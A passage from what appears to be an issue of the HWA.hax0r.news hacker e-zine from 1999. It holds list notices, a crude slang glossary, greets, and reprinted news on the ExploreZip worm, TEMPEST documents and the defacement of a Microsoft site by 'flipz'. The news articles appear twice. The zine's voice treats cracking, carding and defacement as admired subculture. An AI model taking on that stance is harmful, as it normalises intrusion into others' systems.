      To subscribe, visit http://www.counterpane.com/crypto-gram.html or send a
      blank message to crypto-gram-subscribe@chaparraltree.com.  To unsubscribe,
      visit http://www.counterpane.com/unsubform.html.  Back issues are available
      on http://www.counterpane.com.

       CRYPTO-GRAM is written by Bruce Schneier.  Schneier is president of
      Counterpane Systems, the author of "Applied Cryptography," and an inventor
      of the Blowfish, Twofish, and Yarrow algorithms.  He served on the board of
      the International Association for Cryptologic Research, EPIC, and VTW.  He
      is a frequent writer and lecturer on cryptography.


    CUD Computer Underground Digest
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    This info directly from their latest ish:

    Computer underground Digest    Sun  14 Feb, 1999   Volume 11 : Issue 09
     
                      ISSN  1004-042X

       Editor: Jim Thomas (cudigest@sun.soci.niu.edu)
       News Editor: Gordon Meyer (gmeyer@sun.soci.niu.edu)
       Archivist: Brendan Kehoe
       Poof Reader:   Etaion Shrdlu, Jr.
       Shadow-Archivists: Dan Carosone / Paul Southworth
                          Ralph Sims / Jyrki Kuoppala
                          Ian Dickinson
       Cu Digest Homepage: http://www.soci.niu.edu/~cudigest



    [ISN] Security list
    ~~~~~~~~~~~~~~~~~~~
    This is a low volume list with lots of informative articles, if I had my
    way i'd reproduce them ALL here, well almost all .... ;-) - Ed

    
    UPDATED Sept/99 - Sent in by Androthi, tnx for the update
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
      
      --[ New ISN announcement (New!!)
      
      
      Sender:       ISN Mailing List <ISN@SECURITYFOCUS.COM>
      From:         mea culpa <jericho@DIMENSIONAL.COM>
      Subject:      Where has ISN been?
      Comments: To: InfoSec News <isn@securityfocus.com>
      To:           ISN@SECURITYFOCUS.COM
      
      
      It all starts long ago, on a network far away..
      
      
      Not really. Several months ago the system that hosted the ISN mail list
      was taken offline. Before that occured, I was not able to retrieve the
      subscriber list. Because of that, the list has been down for a while. I
      opted to wait to get the list back rather than attempt to make everyone
      resubscribe.
      
      
      As you can see from the headers, ISN is now generously being hosted by
      Security Focus [www.securityfocus.com]. THey are providing the bandwidth,
      machine, and listserv that runs the list now.
      
      
      Hopefully, this message will find all ISN subscribers, help us weed out
      dead addresses, and assure you the list is still here. If you have found
      the list to be valuable in the past, please tell friends and associates
      about the list. To subscribe, mail listserv@securityfocus.com with
      "subscribe isn firstname lastname". To unsubscribe, "unsubscribe isn".
      
      
      As usual, comments and suggestions are welcome. I apologize for the down
      time of the list. Hopefully it won't happen again. ;)
      
      
      
      mea_culpa
      www.attrition.org
      
      
      
      --[ Old ISN welcome message
      
      
      [Last updated on: Mon Nov  04  0:11:23 1998]
      
      
      InfoSec News is a privately run, medium traffic list that caters 
      to distribution of information security news articles. These 
      articles will come from newspapers, magazines, online resources, 
      and more.
      
      
      The subject line will always contain the title of the article, so that
      you may quickly and effeciently filter past the articles of no interest.
      
      
      This list will contain:
      
      
      o       Articles catering to security, hacking, firewalls, new security
              encryption, products, public hacks, hoaxes, legislation affecting
              these topics and more.
      
      
      o       Information on where to obtain articles in current magazines.
      
      
      o       Security Book reviews and information.
      
      
      o       Security conference/seminar information.
      
      
      o       New security product information.
      
      
      o       And anything else that comes to mind..
      
      
      Feedback is encouraged. The list maintainers would like to hear what
      you think of the list, what could use improving, and which parts
      are "right on". Subscribers are also encouraged to submit articles
      or URLs. If you submit an article, please send either the URL or
      the article in ASCII text. Further, subscribers are encouraged to give
      feedback on articles or stories, which may be posted to the list.
      
      
      Please do NOT:
      
      
              * subscribe vanity mail forwards to this list
      
      
              * subscribe from 'free' mail addresses (ie: juno, hotmail)
      
      
              * enable vacation messages while subscribed to mail lists
      
      
              * subscribe from any account with a small quota
      
      
      All of these generate messages to the list owner and make tracking
      down dead accounts very difficult. I am currently receiving as many 
      as fifty returned mails a day. Any of the above are grounds for
      being unsubscribed. You are welcome to resubscribe when you address
      the issue(s).
      
      
      Special thanks to the following for continued contribution:
              William Knowles, Aleph One, Will Spencer, Jay Dyson,
              Nicholas Brawn, Felix von Leitner, Phreak Moi and 
              other contributers.
      
      
      ISN Archive: ftp://ftp.repsec.com/pub/text/digests/isn
      ISN Archive: http://www.landfield.com/isn
      ISN Archive: http://www.jammed.com/Lists/ISN/
      
      
      ISN is Moderated by 'mea_culpa' <jericho@dimensional.com>. ISN is a
          private list. Moderation of topics, member subscription, and
          everything else about the list is solely at his discretion.
      
      
      The ISN membership list is NOT available for sale or disclosure.  
      
      
      ISN is a non-profit list. Sponsors are only donating to cover bandwidth 
          and server costs. 

    



    @HWA


 00.3 THIS IS WHO WE ARE
      ~~~~~~~~~~~~~~~~~~
 
      Some HWA members and Legacy staff
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      cruciphux@dok.org.........: currently active/editorial
      darkshadez@ThePentagon.com: currently active/man in black
      fprophet@dok.org..........: currently active/programming/IRC+ man in black
      sas2@usa.net .............. currently active/IRC+ distribution
      vexxation@usa.net ........: currently active/IRC+ proof reader/grrl in black
      dicentra...(email withheld): IRC+ grrl in black
      twisted-pair@home.com......: currently active/programming/IRC+


      Foreign Correspondants/affiliate members
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
       Qubik ............................: United Kingdom 
       D----Y ...........................: USA/world media
       HWA members ......................: World Media
       
      
      
      Past Foreign Correspondants (currently inactive or presumed dead) 
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
       
       Sla5h.............................: Croatia
       N0Portz ..........................: Australia           
       system error .....................: Indonesia           
       Wile (wile coyote) ...............: Japan/the East      
       Ruffneck  ........................: Netherlands/Holland 
       Wyze1.............................: South Africa

       
       Please send in your sites for inclusion here if you haven't already
       also if you want your emails listed send me a note ... - Ed

      Spikeman's site is down as of this writing, if it comes back online it will be
      posted here.
      
      http://www.hackerlink.or.id/  ............ System Error's site (in Indonesian) 
      
      Sla5h's email: smuddo@yahoo.com
       

       *******************************************************************
       ***      /join #HWA.hax0r.news on EFnet the key is `zwen'       ***
       *******************************************************************

    :-p


    1. We do NOT work for the government in any shape or form.Unless you count paying
       taxes ... in which case we work for the gov't in a BIG WAY. :-/

    2. MOSTLY Unchanged since issue #1, although issues are a digest of recent news
       events its a good idea to check out issue #1 at least and possibly also the
       Xmas issue for a good feel of what we're all about otherwise enjoy - Ed ...


    @HWA



 00.4 Whats in a name? why HWA.hax0r.news??
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                             
      
      Well what does HWA stand for? never mind if you ever find out I may
     have to get those hax0rs from 'Hackers' or the Pretorians after you.

     In case you couldn't figure it out hax0r is "new skewl" and although
     it is laughed at, shunned, or even pidgeon holed with those 'dumb
     leet (l33t?) dewds' <see article in issue #4> this is the state
     of affairs. It ain't Stephen Levy's HACKERS anymore. BTW to all you
     up  and comers, i'd highly recommend you get that book. Its almost
     like  buying a clue. Anyway..on with the show .. - Editorial staff


     @HWA

00.5  HWA FAQ v1.0 Feb 13th 1999 (Abridged & slightly updated again)
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    Also released in issue #3. (revised) check that issue for the faq
    it won't be reprinted unless changed in a big way with the exception
    of the following excerpt from the FAQ, included to assist first time
    readers:

    Some of the stuff related to personal useage and use in this zine are
    listed below: Some are very useful, others attempt to deny the any possible
    attempts at eschewing obfuscation by obsucuring their actual definitions.

    @HWA   - see EoA  ;-)

    !=     - Mathematical notation "is not equal to" or "does not equal"
             ASC(247)  "wavey equals" sign means "almost equal" to. If written
             an =/= (equals sign with a slash thru it) also means !=, =< is Equal
             to or less than and =>  is equal to or greater than (etc, this aint
             fucking grade school, cripes, don't believe I just typed all that..)

    AAM    - Ask a minor (someone under age of adulthood, usually <16, <18 or <21)

    AOL    - A great deal of people that got ripped off for net access by a huge
             clueless isp with sekurity that you can drive buses through, we're
             not talking Kung-Fu being none too good here, Buy-A-Kloo maybe at the
             least they could try leasing one??

   *CC     - 1 - Credit Card (as in phraud)
             2 - .cc is COCOS (Keeling) ISLANDS butthey probably accept cc's

    CCC    - Chaos Computer Club (Germany)

   *CON    - Conference, a place hackers crackers and hax0rs among others go to swap
             ideas, get drunk, swap new mad inphoz, get drunk, swap gear, get drunk
             watch videos and seminars, get drunk, listen to speakers, and last but
             not least, get drunk.
   *CRACKER - 1 . Someone who cracks games, encryption or codes, in popular hacker
                 speak he's the guy that breaks into systems and is often (but by no
                 means always) a "script kiddie" see pheer
              2 . An edible biscuit usually crappy tasting without a nice dip, I like
                  jalapeno pepper dip or chives sour cream and onion, yum - Ed

    Ebonics - speaking like a rastafarian or hip dude of colour <sic> also wigger
              Vanilla Ice is a wigger, The Beastie Boys and rappers speak using
              ebonics, speaking in a dark tongue ... being ereet, see pheer

    EoC    - End of Commentary

    EoA    - End of Article or more commonly @HWA

    EoF    - End of file

    EoD    - End of diatribe (AOL'ers: look it up)

    FUD    - Coined by Unknown and made famous by HNN <g> - "Fear uncertainty and doubt",
            usually in general media articles not high brow articles such as ours or other
            HNN affiliates ;)

    du0d   - a small furry animal that scurries over keyboards causing people to type
             weird crap on irc, hence when someone says something stupid or off topic
             'du0d wtf are you talkin about' may be used.

   *HACKER - Read Stephen Levy's HACKERS for the true definition, then see HAX0R

   *HAX0R - 1 - Cracker, hacker wannabe, in some cases a true hacker, this is difficult to
            define, I think it is best defined as pop culture's view on The Hacker ala
            movies such as well erhm "Hackers" and The Net etc... usually used by "real"
            hackers or crackers in a derogatory or slang humorous way, like 'hax0r me
            some coffee?' or can you hax0r some bread on the way to the table please?'

            2 - A tool for cutting sheet metal.

    HHN    - Maybe a bit confusing with HNN but we did spring to life around the same
             time too, HWA Hax0r News.... HHN is a part of HNN .. and HNN as a proper
             noun means the hackernews site proper. k? k. ;&

    HNN    - Hacker News Network and its affiliates http://www.hackernews.com/affiliates.html

    J00    - "you"(as in j00 are OWN3D du0d) - see 0wn3d

    MFI/MOI- Missing on/from IRC

    NFC   - Depends on context: No Further Comment or No Fucking Comment

    NFR   - Network Flight Recorder (Do a websearch) see 0wn3d

    NFW   - No fuckin'way

   *0WN3D - You are cracked and owned by an elite entity see pheer
   *OFCS  - Oh for christ's sakes

    PHACV - And variations of same <coff>
            Phreaking, Hacking, Anarchy, Cracking, Carding (CC) Groups Virus, Warfare

          Alternates: H - hacking, hacktivist
                      C - Cracking <software>
                      C - Cracking <systems hacking>
                      V - Virus
                      W - Warfare <cyberwarfare usually as in Jihad>
                      A - Anarchy (explosives etc, Jolly Roger's Cookbook etc)
                      P - Phreaking, "telephone hacking" PHone fREAKs ...
                     CT - Cyber Terrorism

   *PHEER -  This is what you do when an ereet or elite person is in your presence
            see 0wn3d

   *RTFM  - Read the fucking manual - not always applicable since some manuals are
            pure shit but if the answer you seek is indeed in the manual then you
            should have RTFM you dumb ass.

    TBC   - To Be Continued also 2bc (usually followed by ellipses...) :^0

    TBA   - To Be Arranged/To Be Announced also 2ba

    TFS   - Tough fucking shit.

   *w00t  - 1 - Reserved for the uber ereet, noone can say this without severe repercussions
            from the underground masses. also "w00ten" <sic>

            2 - Cruciphux and sAs72's second favourite word (they're both shit stirrers)

    *wtf  - what the fuck, where the fuck, when the fuck etc ..

    *ZEN  - The state you reach when you *think* you know everything (but really don't)
            usually shortly after reaching the ZEN like state something will break that
            you just 'fixed' or tweaked.
            
     @HWA            
     
     
                            -=-    :.    .:        -=-
                            
                            
                            

 01.0 Greets!?!?! yeah greets! w0w huh. - Ed
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

     Thanks to all in the community for their support and interest but i'd
     like to see more reader input, help me out here, whats good, what sucks
     etc, not that I guarantee i'll take any notice mind you, but send in
     your thoughts anyway.


       * all the people who sent in cool emails and support
       
     FProphet       Pyra                TwstdPair      _NeM_
     D----Y         Dicentra            vexxation      sAs72
     Spikeman       p0lix               Vortexia      Wyze1
     Pneuma         Raven               Zym0t1c       duro
     Repluzer       astral              BHZ           ScrewUp
     Qubik          gov-boi
     
     Folks from #hwa.hax0r,news and #fawkerz, #ninjachat and #Hackwhoress
     
     
     
     Celeb greets to Bad Kitty! meeyeaaooow! (you can hack my root anytime)
     
               
     Ken Williams/tattooman ex-of PacketStorm,
          
     & Kevin Mitnick                      
     
     kewl sites:
     
     + http://www.hack.co.za  NEW
     + http://blacksun.box.sk. NEW
     + http://packetstorm.securify.com/ NEW
     + http://www.securityportal.com/ NEW
     + http://www.securityfocus.com/ NEW
     + http://www.hackcanada.com/
     + http://www.l0pht.com/
     + http://www.2600.com/
     + http://www.freekevin.com/
     + http://www.genocide2600.com/
     + http://www.hackernews.com/ (Went online same time we started issue 1!)
     + http://www.net-security.org/
     + http://www.slashdot.org/
     + http://www.freshmeat.net/
     + http://www.403-security.org/
     + http://ech0.cjb.net/

     @HWA


 01.1 Last minute stuff, rumours and newsbytes
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

       "What is popular isn't always right, and what is right isn't
         always popular..."
                           - FProphet '99
                           
       

    +++ When was the last time you backed up your important data?
    

    
          
     
      Thanks to myself for providing the info from my wired news feed and others from whatever
      sources, also to Spikeman for sending in past entries.... - Ed
      
     @HWA

 01.2 MAILBAG - email and posts from the message board worthy of a read
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
              
      Yeah we have a message board, feel free to use it, remember there are no stupid questions...
      well there are but if you ask something really dumb we'll just laugh at ya, lets give the
      message board a bit more use eh? i'll be using a real message board when the hwa-iwa.org
      domain comes back online (soon) meanwhile the beseen board is still up...
      
    
      ==============================================================================
      

      

 02.0 From the editor.
      ~~~~~~~~~~~~~~~~

     #include <stdio.h>
     #include <thoughts.h>
     #include <backup.h>

     main()
     {
      printf ("Read commented source!\n\n");

     /*
      * Well here we go again, happy samhain to all the pagans out there
      * happy halloween to everyone else, if you're an uptight christian
      * then chill a little and have a happy, fun and safe halloween!
      *
      * This week we're a little thin, some of you will like this others
      * will want more of what we've been doing recently, well ya can't
      * please everyone I guess... check out the fun internet phone 
      *
      * Cruciphux@dok.org
      */
      printf ("EoF.\n");
      }

      

      Congrats, thanks, articles, news submissions and kudos to us at the
     main address: hwa@press.usmc.net complaints and all nastygrams and
     mai*lbombs can go to /dev/nul nukes, synfloods and papasmurfs to
     127.0.0.1, private mail to cruciphux@dok.org

     danke.

     C*:.
     
03.0  Two states tangle with 'cyber terrorist'
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      Contributed by Multisync
      
      http://www.abcnews.go.com/wire/US/reuters19991025_4522.html
      
      WIRE:10/25/1999 21:24:00 ET
      Two States Tangle With Alleged
      'Cyber-Terrorist'
                   


      BOSTON (Reuters) - Massachusetts Monday charged a  19-year-old Missouri 
      man with guiding young teen-agers to child  pornography sites on the 
      Internet and terrorizing a school  community.  

      Christian Hunold of Smithville, Missouri faces four 
      child  pornography charges along with charges of 
      disorderly conduct, disrupting a school, and 
      threatening to commit assault.  

      Hunold allegedly met children from Hawthorne Brook Middle  
      School in Townsend, Massachusetts in an online chat room and  
      directed them to Internet sites containing pornographic images.  

      He also allegedly sent e-mails threatening to shoot school 
      officials and blow up the building, Massachusetts Attorney 
      General Tom Reilly told reporters.  

      Hunold could be sentenced to 20 years in prison, Reilly said.  

      Hunold remains at his home while Missouri officials continue  
      to investigate, said Scott Holste, a spokesman for Missouri's  
      attorney general.  
      
      Holste said officials confiscated Hunold's computer equipment Friday.  

      "We have investigators who are working to retrieve information 
       off the computer. That information is going to be  looked at to 
      see how it might be addressed under Missouri law,"  he said.  

      Reilly said he hoped to send a message to Hunold and other 
      would-be "cyber-terrorists."  

      "Our goal is that for anyone who does this, who disrupts a 
       school and terrorizes children and their families and parents,  
       there are going to be consequences," Reilly said.  

       Reilly and Missouri Attorney General Jeremiah Nixon said state 
       laws on the issue were inadequate. Reilly said he planned  to 
       meet with federal lawmakers to draft a measure addressing  this 
       type of Internet crime. 

      @HWA
      
04.0  Tempest Information Made Available 
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      From HNN http://www.hackernews.com/
      
      contributed by Brian Oblivion 
      A semi-mythical technology, Tempest, is starting to see
      some daylight. The cypherpunks sent out FOIA requests
      on TEMPEST documents and they received the first
      shipment on Friday. They have transcribed these
      documents and put them on line. 

      Cryptome       
      http://cryptome.org/nsa-reg90-6.htm
      
      @HWA
      
05.0  Virus That Hit Marines Identified 
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      From HNN http://www.hackernews.com/s

      contributed by evilwench 
      The virus that infected Marine Corps HQ computers at
      the Pentagon last Friday has been identified as
      Explorer.Zip. Officials have confirmed that this was not
      any sort of cyber attack. (Explorer.Zip has been around
      since June which makes one wonder how often the
      Marines updated their Virus definition files or if they had
      any protection at all.) 

      CNN
      http://www.cnn.com/TECH/computing/9910/22/virus/
      
      Federal Computer Week       
      http://www.fcw.com:80/pubs/fcw/1999/1025/web-usmc-10-25-99.html
      
      CNN;
      
      ExploreZip stings Marine
      Corps HQ

      October 22, 1999
      Web posted at: 4:55 p.m. EDT (2055 GMT)

      By D. Ian Hopper
      CNN Interactive Technology Edito 

      The worm that infected computers at
      the Marine Corps headquarters at the
      Pentagon early Friday was ExploreZip,
      an especially malicious virus that
      typically travels by e-mail, according to
      a Marine Corps spokesman. 

      Symantec Corporation told CNN that Marine personnel called a technical
      support line at Symantec to report the outbreak. 

      The outbreak affected unclassified documents, and did not impact any
      command or control capability, Maj. Dave Lapan said. The outbreak was
      attributed to a user opening an infected file attachment. 

      "Basically it was an inconvenience to the users
      who were affected. It just illustrates the hazards
      of opening files from unknown sources," Lapan
      said. 

      The Marine Corps has since restored all lost files
      from backups. 

      The ExploreZip worm replicates itself by mailing
      itself out to unread messages in Microsoft
      Outlook, Outlook Express and Exchange. It also
      searches mapped network drives and other
      networked computers for installations of Windows. Once found, it copies itself
      into the Windows directory of the remote machine, according to the Symantec
      AntiVirus Research Center. 

      The program then destroys a host of files based on file extension, specifically
      targeting C language code files, Microsoft Word, Excel and PowerPoint files,
      among others. Rather than simply deleting files - which could then be
      undeleted - the worm resets the file size to zero bytes, making them much
      more difficult to recover. 

      In June, an ExploreZip outbreak infected
      computers at many large businesses, including
      AT&T, Microsoft, Boeing and General Electric. 

      The worm was first discovered in Israel, and was submitted to Symantec in
      June. It can be removed using popular anti-virus programs with updated virus
      definition files ExploreZip stings Marine
      Corps HQ

      October 22, 1999
      Web posted at: 4:55 p.m. EDT (2055 GMT)

      By D. Ian Hopper
      CNN Interactive Technology Edito 

      The worm that infected computers at
      the Marine Corps headquarters at the
      Pentagon early Friday was ExploreZip,
      an especially malicious virus that
      typically travels by e-mail, according to
      a Marine Corps spokesman. 

      Symantec Corporation told CNN that Marine personnel called a technical
      support line at Symantec to report the outbreak. 

      The outbreak affected unclassified documents, and did not impact any
      command or control capability, Maj. Dave Lapan said. The outbreak was
      attributed to a user opening an infected file attachment. 

      "Basically it was an inconvenience to the users
      who were affected. It just illustrates the hazards
      of opening files from unknown sources," Lapan
      said. 

      The Marine Corps has since restored all lost files
      from backups. 

      The ExploreZip worm replicates itself by mailing
      itself out to unread messages in Microsoft
      Outlook, Outlook Express and Exchange. It also
      searches mapped network drives and other
      networked computers for installations of Windows. Once found, it copies itself
      into the Windows directory of the remote machine, according to the Symantec
      AntiVirus Research Center. 

      The program then destroys a host of files based on file extension, specifically
      targeting C language code files, Microsoft Word, Excel and PowerPoint files,
      among others. Rather than simply deleting files - which could then be
      undeleted - the worm resets the file size to zero bytes, making them much
      more difficult to recover. 

      In June, an ExploreZip outbreak infected
      computers at many large businesses, including
      AT&T, Microsoft, Boeing and General Electric. 

      The worm was first discovered in Israel, and was submitted to Symantec in
      June. It can be removed using popular anti-virus programs with updated virus
      definition files 
      
      -=-
      
      FCW;
      
      
      OCTOBER 25, 1999 


      Marines say virus incident not an attack

      BY DANIEL VERTON (dan_verton@fcw.com)

      The computer virus that found its way onto the network at Marine Corps
      headquarters in the Pentagon last week is not the result of a deliberate or
      sustained cyberattack, officials confirmed Friday.

      Senior officials involved in intelligence and command and control at Marine
      Corps headquarters characterized the incident as localized and minor. 

      Officials identified the virus as the ExploreZip worm virus. Worm viruses, such
      as ExploreZip, replicate themselves quickly throughout infected systems and
      networks and then delete files critical to the operation of various Microsoft
      Windows-based applications.

      "We have a better-than-average system for [computer network defense] using
      detection systems, firewalls and virus scans," said one senior official, who spoke
      on condition of anonymity. "But if you get the right combination of operator or
      system administrator errors lined up with the right unsafe practice by a user,
      something like this can get on the network," the official said. "It wasn't that big
      of a deal, and we're not sure why it rated even a news clip."

      Capt. Pete Mitchell, a Marine Corps spokesman, said an unknown type of worm
      virus attached to an e-mail infected the shared hard drives on three unclassified
      servers, hitting Microsoft Corp.-based applications particularly hard. "While it
      was more of an inconvenience than anything else, it was a reminder of the
      hazards [associated] with opening e-mails with attachments from unknown
      sources," Mitchell said.

      The incident raised eyebrows, however, coming as new variants of the
      "Melissa" virus recently have been identified throughout the country. Melissa,
      which appeared in March on networks throughout government and private
      industry, forced the Marine Corps to shut down its base-to-base e-mail system
      for several days until system administrators could ensure the virus had been
      eliminated [FCW, March 30].
      
      @HWA
      
06.0  Love sick hacker hits Microsoft hard
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      Lovesick hacker hits Microsoft site
      Vandalism is first known defacement of company Web page
                                              By Mike Brunker 
                                                        MSNBC
 
      Oct. 26  Earning a footnote in the annals of
      computer vandalism, a lovesick hacker known as
      flipz on Tuesday became the first person
      known to have defaced one of Microsoft Corp.’s
      Web sites. The hacker, who also altered a
      handful of government Web sites in recent days,
      says he expects to be arrested soon. “Its (sic) all
      about fun till the feds bust down the door,” a
      message left on one of the defaced Web sites
      said.      
      
      THE DEFACEMENT of Microsoft’s Conference
      Management Server site was documented by attrition.org, a
      reliable computer security site that maintains an archive of
      hacked Web sites.
             Microsoft did not respond to calls seeking comment on
      the attack. But a company source who spoke on condition of
      anonymity, confirmed that the hacker had commandeered a
      company-owned computer. However, the source said, the
      hacked machines were not part of Microsoft’s corporate
      network, but rather part of a “direct tap network” used by
      developers and partners for testing purposes. These
      computers are connected directly to the Internet, and are one
      step removed from Microsoft’s corporate network, the source
      said. (MSNBC is a joint-partnership between Microsoft and
      NBC News.)
             Representatives of two government Web sites hacked by
      “flipz” — the Department of Veterans Affairs and the White
      Sands Missile Range in New Mexico — confirmed that
      attrition.org’s account of the vandalism of their sites was
      accurate.
             
      PART LOVE NOTE, PART THREAT
             On Monday, the hacker replaced Microsoft’s Conference
      Management Server home page, which was not accessible
      Tuesday morning, with a message that was part love letter and
      part threat, attrition.org reported.
             “flipz was here and f0bic, your seksi (sic) voice helped me
      through the night,” it read in part before concluding with a
      threat against Microsoft CEO Bill Gates.
             B.K. DeLong, curator of the attrition.org Web
      defacement archive, said research of other hacking mirror sites
      — which use a computer’s “screen grab” function to
      document vandalized Web sites — indicates that this is the first
      time Microsoft has been victimized.
             “This is the first time that we’ve been publicly notified
      (about a hacking claim against Microsoft) ... and to build our
      mirror we borrowed mirrors from other sites,” he said.
             All of the recent hacked pages were accessed through
      Microsoft NT servers, attrition.org said.
             
      OTHER SITES AFFECTED?
             The hack appeared to impact a series of Internet domains
      Microsoft maintains outside its standard corporate presence
      on the Net. As of Tuesday morning, at least six sites registered
      to Microsoft weren’t functioning, though some may have been
      removed prior to the hack. 
 
 
             While most Microsoft corporate site IP addresses start
      with 207, the hacked page started with 131. On Tuesday, all
      Microsoft sites between 131.107.65.0 and 131.107.65.20
      weren’t functioning. These likely were all hosted on the same
      server, which apparently was offline.
             The impacted Web pages appear to be conference
      information sites, including “icassp.microsoft.com,”
      “isys.microsoft.com,” and “cuai-97.microsoft.com.” Another
      non-functioning site was “uncertainty.microsoft.com.” The
      purpose of that site was not known.
             
      A PROMINENT TARGET
             Microsoft has long been a prominent target of hackers.
      The 2600 Web site, the online home of a hackers’ magazine,
      has the Redmond, Wash., company prominently listed on a
      page of “Hacked Sites of the Future.”
             But DeLong said he wasn’t aware of any competition to
      break into Microsoft’s computers.
             “I haven’t really heard people saying, ‘Ooh, I’m going to
      hack Microsoft!’ Part of it may be that they think they can’t
      get in or ... that they fear retribution from Microsoft,” he said.
             DeLong said “flipz” first came to his attention in March,
      when he reported he had hacked a Web page operated by
      NASA’s Jet Propulsion Laboratory. The hacker added
      attacks on Duracell Corp. in June and People’s Bank of
      Connecticut in September to his resume before the recent
      spate of attacks, which began Wednesday.
             According to attrition.org, “flipz” altered the University of
      California at Riverside Police Department’s Web site that day
      before turning to government targets, knocking off, in rapid
      succession, the homepages of the U.S. Army Reserve
      Command, the White Sands Missile Range, the U.S. Army
      Dental Care System, the Navy Management System Support
      Office, the Substance Abuse and Mental Health Services
      Administration and the Department of Veterans Affairs.
             
      HACKER LOVE?
             The love notes that “flipz” left on three of the defaced sites
      suggest that the hacker has a crush on a fellow computer
      intruder.
             A person using the hacking handle “f0bic” is a member of
      “Team Spl0it,” a hacking group that retaliated for the FBI’s
      arrest in September of alleged hacker Chad Davis by
      vandalizing several Web sites.
             Davis, a 19-year-old Green Bay, Wis., resident, is
      accused of breaking into a U.S. Army computer at the
      Pentagon. According to a federal complaint filed at the time of
      his arrest, Davis is a founder and leader of the “Global Hell”
      hacking group, which vandalized White House, FBI and U.S.
      Senate Web sites earlier this year.
             The FBI did not respond to a query about whether “flipz”
      hacking attacks were under investigation, but DeLong said the
      hacker expects to be arrested before long.
             “flipz said he doesn’t care if the feds come and get him,”
      DeLong said. “He’s expecting to get picked up, but he’s going
      to have fun while he’s waiting.”
             
             MSNBC technology writer Bob Sullivan contributed to
      this report.
             
                   THE DEFACEMENT of Microsoft’s Conference
      Management Server site was documented by attrition.org, a
      reliable computer security site that maintains an archive of
      hacked Web sites.
             Microsoft did not respond to calls seeking comment on
      the attack. But a company source who spoke on condition of
      anonymity, confirmed that the hacker had commandeered a
      company-owned computer. However, the source said, the
      hacked machines were not part of Microsoft’s corporate
      network, but rather part of a “direct tap network” used by
      developers and partners for testing purposes. These
      computers are connected directly to the Internet, and are one
      step removed from Microsoft’s corporate network, the source
      said. (MSNBC is a joint-partnership between Microsoft and
      NBC News.)
             Representatives of two government Web sites hacked by
      “flipz” — the Department of Veterans Affairs and the White
      Sands Missile Range in New Mexico — confirmed that
      attrition.org’s account of the vandalism of their sites was
      accurate.
             
      PART LOVE NOTE, PART THREAT
             On Monday, the hacker replaced Microsoft’s Conference
      Management Server home page, which was not accessible
      Tuesday morning, with a message that was part love letter and
      part threat, attrition.org reported.
             “flipz was here and f0bic, your seksi (sic) voice helped me
      through the night,” it read in part before concluding with a
      threat against Microsoft CEO Bill Gates.
             B.K. DeLong, curator of the attrition.org Web
      defacement archive, said research of other hacking mirror sites
      — which use a computer’s “screen grab” function to
      document vandalized Web sites — indicates that this is the first
      time Microsoft has been victimized.
             “This is the first time that we’ve been publicly notified
      (about a hacking claim against Microsoft) ... and to build our
      mirror we borrowed mirrors from other sites,” he said.
             All of the recent hacked pages were accessed through
      Microsoft NT servers, attrition.org said.
             
      OTHER SITES AFFECTED?
             The hack appeared to impact a series of Internet domains
      Microsoft maintains outside its standard corporate presence
      on the Net. As of Tuesday morning, at least six sites registered
      to Microsoft weren’t functioning, though some may have been
      removed prior to the hack. 
 
 
             While most Microsoft corporate site IP addresses start
      with 207, the hacked page started with 131. On Tuesday, all
      Microsoft sites between 131.107.65.0 and 131.107.65.20
      weren’t functioning. These likely were all hosted on the same
      server, which apparently was offline.
             The impacted Web pages appear to be conference
      information sites, including “icassp.microsoft.com,”
      “isys.microsoft.com,” and “cuai-97.microsoft.com.” Another
      non-functioning site was “uncertainty.microsoft.com.” The
      purpose of that site was not known.
             
      A PROMINENT TARGET
             Microsoft has long been a prominent target of hackers.
      The 2600 Web site, the online home of a hackers’ magazine,
      has the Redmond, Wash., company prominently listed on a
      page of “Hacked Sites of the Future.”
             But DeLong said he wasn’t aware of any competition to
      break into Microsoft’s computers.
             “I haven’t really heard people saying, ‘Ooh, I’m going to
      hack Microsoft!’ Part of it may be that they think they can’t
      get in or ... that they fear retribution from Microsoft,” he said.
             DeLong said “flipz” first came to his attention in March,
      when he reported he had hacked a Web page operated by
      NASA’s Jet Propulsion Laboratory. The hacker added
      attacks on Duracell Corp. in June and People’s Bank of
      Connecticut in September to his resume before the recent
      spate of attacks, which began Wednesday.
             According to attrition.org, “flipz” altered the University of
      California at Riverside Police Department’s Web site that day
      before turning to government targets, knocking off, in rapid
      succession, the homepages of the U.S. Army Reserve
      Command, the White Sands Missile Range, the U.S. Army
      Dental Care System, the Navy Management System Support
      Office, the Substance Abuse and Mental Health Services
      Administration and the Department of Veterans Affairs.
             
      HACKER LOVE?
             The love notes that “flipz” left on three of the defaced sites
      suggest that the hacker has a crush on a fellow computer
      intruder.
             A person using the hacking handle “f0bic” is a member of
      “Team Spl0it,” a hacking group that retaliated for the FBI’s
      arrest in September of alleged hacker Chad Davis by
      vandalizing several Web sites.
             Davis, a 19-year-old Green Bay, Wis., resident, is
      accused of breaking into a U.S. Army computer at the
      Pentagon. According to a federal complaint filed at the time of
      his arrest, Davis is a founder and leader of the “Global Hell”
      hacking group, which vandalized White House, FBI and U.S.
      Senate Web sites earlier this year.
             The FBI did not respond to a query about whether “flipz”
      hacking attacks were under investigation, but DeLong said the
      hacker expects to be arrested before long.
             “flipz said he doesn’t care if the feds come and get him,”
      DeLong said. “He’s expecting to get picked up, but he’s going
      to have fun while he’s waiting.”
             
